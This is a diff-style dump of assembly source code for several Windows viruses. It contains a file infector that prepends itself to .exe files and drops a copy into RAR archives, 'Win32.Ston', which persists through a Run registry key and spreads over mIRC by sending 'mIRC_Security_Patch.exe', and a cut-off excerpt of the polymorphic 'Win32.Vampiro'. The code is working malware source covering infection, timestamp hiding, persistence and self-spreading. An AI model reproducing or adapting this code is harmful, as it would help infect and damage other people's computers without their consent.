RARFnameSize dw FinRARHeader-RARName
|
||||
RARAttrib dd 0
|
||||
RARName db "README32.EXE" ; Name of file to drop
|
||||
|
||||
FinRARHeader label byte
|
||||
|
||||
.CODE
|
||||
|
||||
inicio:
|
||||
lea eax,sysTimeStruct ; check for payload
|
||||
push eax
|
||||
call GetSystemTime
|
||||
|
||||
lea eax,sysTimeStruct ; april 5
|
||||
cmp word ptr [eax+2],4
|
||||
jne skipPay
|
||||
cmp word ptr [eax+6],5
|
||||
jne skipPay
|
||||
|
||||
push 1000h ; petty payload
|
||||
lea eax,titleb
|
||||
push eax
|
||||
lea eax,vid
|
||||
push eax
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
skipPay:
|
||||
call GetCommandLineA ; get command line
|
||||
mov dword ptr [commandLine],eax
|
||||
|
||||
skipArgs: ; skip args
|
||||
cmp dword ptr [eax],'EXE.'
|
||||
je argsOk
|
||||
inc eax
|
||||
jmp skipArgs
|
||||
argsOk:
|
||||
add eax,4
|
||||
cmp byte ptr [eax],0
|
||||
jne hasArgs
|
||||
mov byte ptr hArgs,0
|
||||
jmp sHasArgs
|
||||
hasArgs:
|
||||
mov byte ptr [eax],0
|
||||
mov byte ptr hArgs,1
|
||||
mov dword ptr [argsPos],eax
|
||||
|
||||
sHasArgs:
|
||||
|
||||
call execHoste ; exec host
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push 8192 ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc
|
||||
cmp eax,0
|
||||
je justOut ; ops... not memory to alloc?
|
||||
mov dword ptr [mHnd],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
mov eax,dword ptr [commandLine]
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je justOut ; error: we can't infect ..snif..
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 8192
|
||||
push dword ptr [mHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read vx from hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je justOut
|
||||
|
||||
mov eax,dword ptr [mHnd]
|
||||
add eax,12h
|
||||
mov word ptr [eax],'kh' ; infection sign
|
||||
; -only needed in 1st infection-
|
||||
; but...
|
||||
|
||||
hOwnClose:
|
||||
mov eax,dword ptr [fHnd] ; close own file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
lea eax,find_data ; find first *.exe
|
||||
push eax
|
||||
lea eax,fMask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
cmp eax,-1
|
||||
je goOut
|
||||
mov dword ptr [ffHnd],eax
|
||||
|
||||
fnext:
|
||||
call checkFile ; check file before infection process
|
||||
jc noInfect
|
||||
call infectFile
|
||||
|
||||
noInfect:
|
||||
lea eax,find_data ; find next *.exe
|
||||
push eax
|
||||
mov eax,dword ptr [ffHnd]
|
||||
push eax
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
jne fnext
|
||||
|
||||
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
goOut:
|
||||
lea eax,find_data ; find first *.rar
|
||||
push eax
|
||||
lea eax,dMask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
cmp eax,-1
|
||||
je justOut
|
||||
mov dword ptr [ffHnd],eax
|
||||
|
||||
fnextRar:
|
||||
call saveTime
|
||||
call drop
|
||||
cmp byte ptr [sErr],1
|
||||
je findNextRar
|
||||
call restoreTime
|
||||
|
||||
findNextRar:
|
||||
lea eax,find_data ; find next *.rar
|
||||
push eax
|
||||
mov eax,dword ptr [ffHnd]
|
||||
push eax
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
jne fnextRar
|
||||
|
||||
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
justOut:
|
||||
cmp byte ptr [execStatus],0 ; error while exec host?
|
||||
je skipDelLoop
|
||||
|
||||
delLoop:
|
||||
lea eax,tmpHost
|
||||
push eax ; delete tmp hoste
|
||||
call DeleteFileA
|
||||
cmp eax,0
|
||||
je delLoop ; wait until exec ends
|
||||
|
||||
skipDelLoop:
|
||||
push 0h ; exit
|
||||
call ExitProcess
|
||||
jmp skipDelLoop
|
||||
|
||||
checkFile: ; checks file
|
||||
push edx
|
||||
lea edx,find_data.cFileName
|
||||
call testIfPE
|
||||
pop edx
|
||||
jc checkErrOut
|
||||
|
||||
mov ax,word ptr dos_header.MZ_csum
|
||||
cmp ax,'kh'
|
||||
je checkErrOut ; check if it's infected yet
|
||||
|
||||
checkOut:
|
||||
clc
|
||||
ret
|
||||
|
||||
checkErrOut:
|
||||
stc
|
||||
ret
|
||||
|
||||
testIfPE:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
push edx
|
||||
call CreateFileA ; open file for read (shared)
|
||||
cmp eax,-1
|
||||
je loadHErrOut
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push IMAGE_SIZEOF_DOS_HEADER
|
||||
lea eax,dos_header
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read DOS header
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je loadHErrOut
|
||||
|
||||
mov ax,word ptr [dos_header.MZ_magic]
|
||||
add al,ah
|
||||
cmp al,'M'+'Z' ; check it's a EXE
|
||||
jne loadHErrOut
|
||||
|
||||
push 0
|
||||
push dword ptr [dos_header.MZ_lfanew]
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to begin of PE header
|
||||
cmp eax,-1
|
||||
je loadHErrOut
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 2
|
||||
lea eax,dos_header
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read PE sign
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je loadHErrOut
|
||||
|
||||
mov ax,word ptr [dos_header.MZ_magic]
|
||||
add al,ah
|
||||
cmp al,'P'+'E' ; check it's a PE
|
||||
jne loadHErrOut
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
clc
|
||||
ret
|
||||
|
||||
loadHErrOut:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
stc
|
||||
ret
|
||||
|
||||
infectFile:
|
||||
|
||||
call saveTime ; save time of file
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h OR 00000002h
|
||||
push 40000000h OR 80000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open file for r/w (shared)
|
||||
cmp eax,-1
|
||||
je infErrOutNC
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
call GetFileSize
|
||||
cmp eax,-1
|
||||
je infErrOutC
|
||||
|
||||
mov dword ptr [fSize],eax ; save size of file
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push eax ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for future hoste
|
||||
cmp eax,0
|
||||
je infErrOutC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtHnd],eax
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read future hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je infErrOutC
|
||||
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to begin of file
|
||||
cmp eax,-1
|
||||
je infErrOutC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 8192
|
||||
push dword ptr [mHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write virii
|
||||
|
||||
call encrypt ; encrypt hoste
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write future hoste
|
||||
|
||||
push 00004000h
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
call VirtualFree ; free future host mem
|
||||
|
||||
infErrOutC:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
infErrOutNC:
|
||||
cmp byte ptr [sErr],0
|
||||
jne skipRestoreTime
|
||||
call restoreTime
|
||||
|
||||
skipRestoreTime:
|
||||
ret
|
||||
|
||||
execHoste:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
mov eax,dword ptr [commandLine]
|
||||
push eax
|
||||
call CreateFileA ; open host file for read (shared)
|
||||
cmp eax,-1
|
||||
je exeErrOutNC
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
call GetFileSize
|
||||
cmp eax,-1
|
||||
je exeErrOutC
|
||||
|
||||
sub eax,8192 ; sub virus size
|
||||
mov dword ptr [fSize],eax ; save size of file
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push eax ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for hoste
|
||||
cmp eax,0
|
||||
je exeErrOutC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtHnd],eax
|
||||
|
||||
push 0
|
||||
push 8192
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to hoste of file
|
||||
cmp eax,-1
|
||||
je exeErrOutC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
mov eax,dword ptr [fSize]
|
||||
push eax
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je exeErrOutC
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
call encrypt ; dencrypt hoste
|
||||
|
||||
mov ecx,6
|
||||
mov edx,offset rndHost
|
||||
loopRnd:
|
||||
call getRandom ; make a random tmp name
|
||||
mov byte ptr [edx],al
|
||||
inc edx
|
||||
loop loopRnd
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000020h ; archive
|
||||
push 1
|
||||
push eax
|
||||
push 00000001h OR 00000002h
|
||||
push 40000000h
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
call CreateFileA ; open new file for write (shared)
|
||||
cmp eax,-1
|
||||
je exeErrOutNC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
mov eax,dword ptr [fSize]
|
||||
push eax
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write hoste
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
push 00004000h
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
call VirtualFree ; free future host mem
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push 1024 ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for hoste
|
||||
cmp eax,0
|
||||
je exeErrOutNC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtaHnd],eax
|
||||
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax
|
||||
call lstrcpy ; make a command line
|
||||
|
||||
cmp byte ptr [hArgs],0 ; it has not arguments
|
||||
je execNow
|
||||
|
||||
mov eax,dword ptr [argsPos]
|
||||
mov byte ptr [eax],' '
|
||||
push eax
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax
|
||||
call lstrcat ; add arguments
|
||||
|
||||
execNow:
|
||||
push 1
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax ; exec tmp hoste
|
||||
call WinExec
|
||||
mov byte ptr [execStatus],1
|
||||
|
||||
push 2
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
call SetFileAttributesA ; hide file
|
||||
|
||||
ret
|
||||
|
||||
exeErrOutC:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
exeErrOutNC:
|
||||
ret
|
||||
|
||||
getRandom:
|
||||
in al,40h
|
||||
cmp al,65
|
||||
jb getRandom
|
||||
cmp al,90
|
||||
ja getRandom
|
||||
|
||||
ret
|
||||
|
||||
encrypt:
|
||||
mov edi,dword ptr [mtHnd]
|
||||
mov eax,dword ptr [fSize] ; use size low byte as ckey
|
||||
mov ecx,dword ptr [fSize]
|
||||
encryptLoop:
|
||||
xor byte ptr [edi],al
|
||||
inc edi
|
||||
loop encryptLoop
|
||||
ret
|
||||
|
||||
saveTime:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je saveErr ; error: we can't save time
|
||||
|
||||
mov dword ptr [stfHnd],eax
|
||||
|
||||
lea eax,time2
|
||||
push eax
|
||||
lea eax,time1
|
||||
push eax
|
||||
lea eax,time0
|
||||
push eax
|
||||
push dword ptr [stfHnd]
|
||||
call GetFileTime
|
||||
|
||||
mov eax,dword ptr [stfHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
mov byte ptr [sErr],0
|
||||
ret
|
||||
|
||||
saveErr:
|
||||
mov byte ptr [sErr],1
|
||||
ret
|
||||
|
||||
restoreTime:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 40000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je restoreErr ; error: we can't restore time
|
||||
|
||||
mov dword ptr [stfHnd],eax
|
||||
|
||||
lea eax,time2
|
||||
push eax
|
||||
lea eax,time1
|
||||
push eax
|
||||
lea eax,time0
|
||||
push eax
|
||||
push dword ptr [stfHnd]
|
||||
call SetFileTime
|
||||
|
||||
mov eax,dword ptr [stfHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
restoreErr:
|
||||
ret
|
||||
|
||||
; CD13 routines modified for SPIT -cool routines!-
|
||||
drop:
|
||||
xor eax,eax ; open rar file
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push eax
|
||||
push 40000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je dropErr
|
||||
|
||||
mov dword ptr [fHnd],eax
|
||||
|
||||
xor eax,eax
|
||||
push 02
|
||||
push eax ; Move pointer to EOF
|
||||
push dword ptr [fHnd]
|
||||
call _llseek
|
||||
|
||||
mov esi,dword ptr [mHnd]
|
||||
mov edi,Size ; Get CRC32 of the program
|
||||
call CRC32 ; that we'll drop
|
||||
|
||||
mov dword ptr [RARCrc32],eax ; Save the CRC
|
||||
|
||||
mov esi,offset RARHeader+2
|
||||
mov edi,HeaderSize-2
|
||||
call CRC32 ; Get CRC32 of the header
|
||||
mov word ptr [RARHeaderCRC],ax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push offset Number ; Number of bytes written
|
||||
push HeaderSize
|
||||
push offset RARHeader ; Write the header
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile
|
||||
|
||||
mov word ptr [RARHeaderCRC],0
|
||||
mov word ptr [RARCrc32],0 ; Blank these fields
|
||||
mov word ptr [RARCrc32+2],0
|
||||
|
||||
push 0
|
||||
push offset Number
|
||||
push Size
|
||||
push dword ptr [mHnd] ; Drop the file
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile
|
||||
|
||||
push dword ptr [fHnd] ; Close it
|
||||
call CloseHandle
|
||||
|
||||
dropErr:
|
||||
ret
|
||||
|
||||
CRC32: cld ; Routine extracted from Vecna's
|
||||
push ebx ; Inca virus! Muito brigado, friend!
|
||||
mov ecx,-1 ; Calculates CRC32 at runtime, no
|
||||
mov edx,ecx ; need of big tables.
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0edb8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec di
|
||||
jnz NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
pop ebx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
|
||||
Ends
|
||||
End inicio
|
||||
@@ -0,0 +1,246 @@
|
||||
;--------------------------------------------------------------------+
|
||||
;name: Win32.Ston |
|
||||
;author: Hutley / RRLF |
|
||||
;date 30.Jun.2006 |
|
||||
;webpage: www.Hutley.de.vu |
|
||||
;--------------------------------------------------------------------+
|
||||
; *** FEATURES |
|
||||
; - Start with Windows by Registry |
|
||||
; - Spread by mIRC using a script file |
|
||||
; |
|
||||
; *** THANX |
|
||||
; - DiA, SPTH, blueowl, dr3f |
|
||||
; |
|
||||
; *** COMMENT! |
|
||||
; My first that spread by mIRC! |
|
||||
;--------------------------------------------------------------------+
|
||||
|
||||
include '%fasminc%\win32ax.inc'
|
||||
|
||||
.data
|
||||
about db "Win32.Ston by Hutley / RRLF", 0
|
||||
_windir rb 255d
|
||||
ston_file rb 255d
|
||||
ston_new rb 255d
|
||||
; registry variables
|
||||
reg_subkey equ "Software\Microsoft\Windows\CurrentVersion\Run", 0
|
||||
reg_result db ?
|
||||
reg_value equ "Ston", 0
|
||||
; infect mIRC
|
||||
mirc_reg equ "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC", 0
|
||||
mirc_reg_rst db ?
|
||||
mirc_path rb 255d
|
||||
mirc_size db 255d
|
||||
mirc_file equ "\mIRC_Security_Patch.exe", 0
|
||||
mirc_ston equ "ston.mrc", 0
|
||||
mirc_ston_hdl dd ?
|
||||
mirc_dccsend db ".dcc send -clm $nick ",0
|
||||
mirc_content db "; Win32.Ston.Script by Hutley/RRLF",13,10,\
|
||||
"",13,10,\
|
||||
"on 1:JOIN:#:if ($nick != $me) }",13,10
|
||||
mirc_ctnt_size = $ - mirc_content
|
||||
mirc_other db 256 dup(?)
|
||||
mirc_rest db 13,10,".privmsg $nick Accept, its a very nice one!",13,10,"}"
|
||||
mirc_writen dd 0
|
||||
;mirc.ini
|
||||
ini_file db 0
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call autostart ; ok! auto start with windows
|
||||
call infect_mirc ; ok! copy in mirc folder
|
||||
call write_mirc.ini ; write in mirc.ini
|
||||
|
||||
invoke ExitProcess,\ ; that's all folks!
|
||||
0
|
||||
.end start
|
||||
|
||||
proc write_mirc.ini
|
||||
invoke lstrcat,\
|
||||
ini_file,\
|
||||
"\mirc.ini"
|
||||
|
||||
invoke WritePrivateProfileString,\
|
||||
"rfiles",\
|
||||
"n2",\
|
||||
"ston.mrc",\
|
||||
ini_file
|
||||
ret
|
||||
endp
|
||||
|
||||
proc infect_mirc
|
||||
invoke RegOpenKeyEx,\
|
||||
HKEY_LOCAL_MACHINE,\
|
||||
mirc_reg,\
|
||||
0,\
|
||||
KEY_READ,\
|
||||
mirc_reg_rst
|
||||
|
||||
cmp eax, 0 ; any error?
|
||||
jne error ; then exit
|
||||
; whithout error, then continue
|
||||
invoke RegQueryValueEx,\
|
||||
dword[mirc_reg_rst],\
|
||||
"UninstallString",\
|
||||
0,\
|
||||
0,\
|
||||
mirc_path,\
|
||||
mirc_size
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_path
|
||||
|
||||
mov esi, mirc_path
|
||||
sub eax, 21 ; 12 to mirc.exe | 21 to C:\mirc\
|
||||
mov byte [esi + eax], 0
|
||||
inc esi
|
||||
|
||||
invoke RegCloseKey,\
|
||||
mirc_reg_rst
|
||||
|
||||
invoke GetModuleFileName,\
|
||||
0,\
|
||||
ston_file,\
|
||||
255d
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_new,\
|
||||
esi
|
||||
|
||||
invoke lstrcpy,\
|
||||
ini_file,\
|
||||
esi
|
||||
|
||||
invoke lstrcat,\
|
||||
ston_new,\
|
||||
mirc_file
|
||||
|
||||
invoke lstrcpy,\
|
||||
mirc_other,\
|
||||
".dcc send -clm $nick "
|
||||
|
||||
invoke lstrcat,\
|
||||
mirc_other,\
|
||||
esi
|
||||
|
||||
invoke lstrcat,\
|
||||
mirc_other,\
|
||||
mirc_file
|
||||
|
||||
invoke CopyFile,\ ; let´s copy in mIRC folder
|
||||
ston_file,\
|
||||
ston_new,\
|
||||
FALSE
|
||||
|
||||
invoke lstrlen,\
|
||||
ston_new
|
||||
|
||||
mov esi, ston_new
|
||||
sub eax, 23
|
||||
mov byte[esi + eax], 0
|
||||
|
||||
invoke lstrcat,\
|
||||
esi,\
|
||||
mirc_ston
|
||||
|
||||
invoke CreateFile,\ ; create the script file (ston.mrc)
|
||||
esi,\
|
||||
GENERIC_WRITE,\
|
||||
0,\
|
||||
0,\
|
||||
CREATE_ALWAYS,\
|
||||
FILE_ATTRIBUTE_HIDDEN,\
|
||||
0
|
||||
|
||||
cmp eax, INVALID_HANDLE_VALUE ; protection of erros
|
||||
je error ; error? get out!
|
||||
mov dword[mirc_ston_hdl], eax ; handle of file creation in variable
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_content,\
|
||||
mirc_ctnt_size,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_other
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_other,\
|
||||
eax,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_rest
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_rest,\
|
||||
eax,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke CloseHandle,\
|
||||
dword[mirc_ston_hdl]
|
||||
|
||||
error: ; if exist error i go to here
|
||||
invoke RegCloseKey,\ ; close the opened key
|
||||
mirc_reg_rst
|
||||
ret
|
||||
endp
|
||||
|
||||
|
||||
proc autostart ; auto start the virus by win registry
|
||||
invoke GetWindowsDirectory,\ ; let's copy to windows dir
|
||||
_windir,\
|
||||
255d
|
||||
|
||||
invoke GetModuleFileName,\
|
||||
0,\
|
||||
ston_file,\
|
||||
255d
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_new,\
|
||||
_windir
|
||||
|
||||
invoke lstrcat,\
|
||||
ston_new,\
|
||||
"\WinStone.exe"
|
||||
|
||||
invoke CopyFile,\
|
||||
ston_file,\
|
||||
ston_new,\
|
||||
FALSE
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_file,\
|
||||
ston_new
|
||||
|
||||
invoke RegOpenKeyEx,\ ; add to registry
|
||||
HKEY_LOCAL_MACHINE,\
|
||||
reg_subkey,\
|
||||
0,\
|
||||
KEY_SET_VALUE,\
|
||||
reg_result
|
||||
|
||||
invoke lstrlen,\
|
||||
ston_file
|
||||
|
||||
invoke RegSetValueEx,\
|
||||
dword[reg_result],\
|
||||
reg_value,\
|
||||
0,\
|
||||
REG_SZ,\
|
||||
ston_file,\
|
||||
eax
|
||||
|
||||
invoke RegCloseKey,\
|
||||
dword[reg_result]
|
||||
ret
|
||||
endp
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,951 @@
|
||||
; Win32.Vampiro.2883
|
||||
;
|
||||
; - poly, used LME32 v.1.0
|
||||
; - many layers, max - 11
|
||||
; - used SEH
|
||||
; - dont change entry point
|
||||
;
|
||||
; (c) LordDark [MATRiX]
|
||||
|
||||
|
||||
.386
|
||||
include 1.inc
|
||||
locals __
|
||||
.model flat
|
||||
.code
|
||||
db ?
|
||||
.data
|
||||
|
||||
start proc
|
||||
call get_delta
|
||||
call set_seh
|
||||
mov esp, [esp.8]
|
||||
jmp exit
|
||||
set_seh:
|
||||
sti
|
||||
sub eax, eax
|
||||
push 4 ptr fs:[eax]
|
||||
mov 4 ptr fs:[eax], esp
|
||||
mov eax, [esp+11*4]
|
||||
sub ax, ax
|
||||
__5:
|
||||
cmp 2 ptr [eax], 'ZM'
|
||||
jz __4
|
||||
sub eax, 10000h
|
||||
jmp __5
|
||||
__4:
|
||||
mov 4 ptr [ebp.k32], eax
|
||||
call import
|
||||
push 0
|
||||
call [ebp.GetModuleHandleA]
|
||||
add [ebp.host32_1], eax
|
||||
call restore
|
||||
sub esp, 16
|
||||
push esp
|
||||
call [ebp.GetSystemTime]
|
||||
mov eax, esp
|
||||
push eax eax esp eax
|
||||
call [ebp.SystemTimeToFileTime]
|
||||
mov eax, [esp]
|
||||
xor eax, [esp.4]
|
||||
add esp, 24
|
||||
mov [ebp.seed], eax
|
||||
lea eax, [ebp.rnd]
|
||||
mov 4 ptr [ebp.lme32_random], eax
|
||||
push _vl 0
|
||||
call [ebp.GlobalAlloc]
|
||||
push eax
|
||||
xchg eax, edi
|
||||
lea esi, [ebp.start]
|
||||
mov ecx, vl
|
||||
lea eax, [ebp+__exit]
|
||||
push eax
|
||||
lea eax, [edi+__next-start]
|
||||
push eax
|
||||
rep movsb
|
||||
ret
|
||||
__next:
|
||||
call get_delta
|
||||
sub esp, size find_str
|
||||
mov esi, esp
|
||||
sub edi, edi
|
||||
push esi ;;; hehe
|
||||
lea eax, [ebp+mask]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
cmp eax, -1
|
||||
jz __1
|
||||
__2:
|
||||
push eax
|
||||
push edi
|
||||
push esi
|
||||
lea edx, [esi.cFileName]
|
||||
call infect_it
|
||||
pop esi
|
||||
push esi
|
||||
push 4 ptr [esp.8]
|
||||
call [ebp+FindNextFileA]
|
||||
pop edi
|
||||
inc edi
|
||||
cmp edi, 50
|
||||
ja __3
|
||||
test eax, eax
|
||||
pop eax
|
||||
jnz __2
|
||||
push eax
|
||||
__3:
|
||||
call [ebp+FindClose]
|
||||
__1:
|
||||
add esp, size find_str
|
||||
ret
|
||||
__exit:
|
||||
call [ebp.GlobalFree]
|
||||
exit:
|
||||
pop 4 ptr fs:[0]
|
||||
pop eax
|
||||
popad
|
||||
popf
|
||||
db 68h
|
||||
host32_1 dd offset host32-400000h
|
||||
ret
|
||||
endp
|
||||
|
||||
mask db '*.exe',0
|
||||
|
||||
restore proc
|
||||
push 0 5
|
||||
call __1
|
||||
saved:
|
||||
dd 90909090h
|
||||
db 90h
|
||||
__1:
|
||||
mov eax, [ebp.host32_1]
|
||||
push eax
|
||||
call [ebp.GetCurrentProcess]
|
||||
push eax
|
||||
call [ebp.WriteProcessMemory]
|
||||
ret
|
||||
endp
|
||||
|
||||
Vampiro db 'Vampiro',0
|
||||
|
||||
import_table:
|
||||
import_beg kernel32
|
||||
import_nam _lopen
|
||||
import_nam ReadFile
|
||||
import_nam WriteFile
|
||||
import_nam CloseHandle
|
||||
import_nam SetFileAttributesA
|
||||
import_nam GetFileAttributesA
|
||||
import_nam GetFileTime
|
||||
import_nam SetFileTime
|
||||
import_nam SetEndOfFile
|
||||
import_nam GetFileSize
|
||||
import_nam SetFilePointer
|
||||
import_nam SystemTimeToFileTime
|
||||
import_nam GetSystemTime
|
||||
import_nam WriteProcessMemory
|
||||
import_nam GetCurrentProcess
|
||||
import_nam GlobalAlloc
|
||||
import_nam GlobalFree
|
||||
import_nam FindClose
|
||||
import_nam FindFirstFileA
|
||||
import_nam FindNextFileA
|
||||
import_end
|
||||
import_end
|
||||
|
||||
get_delta proc
|
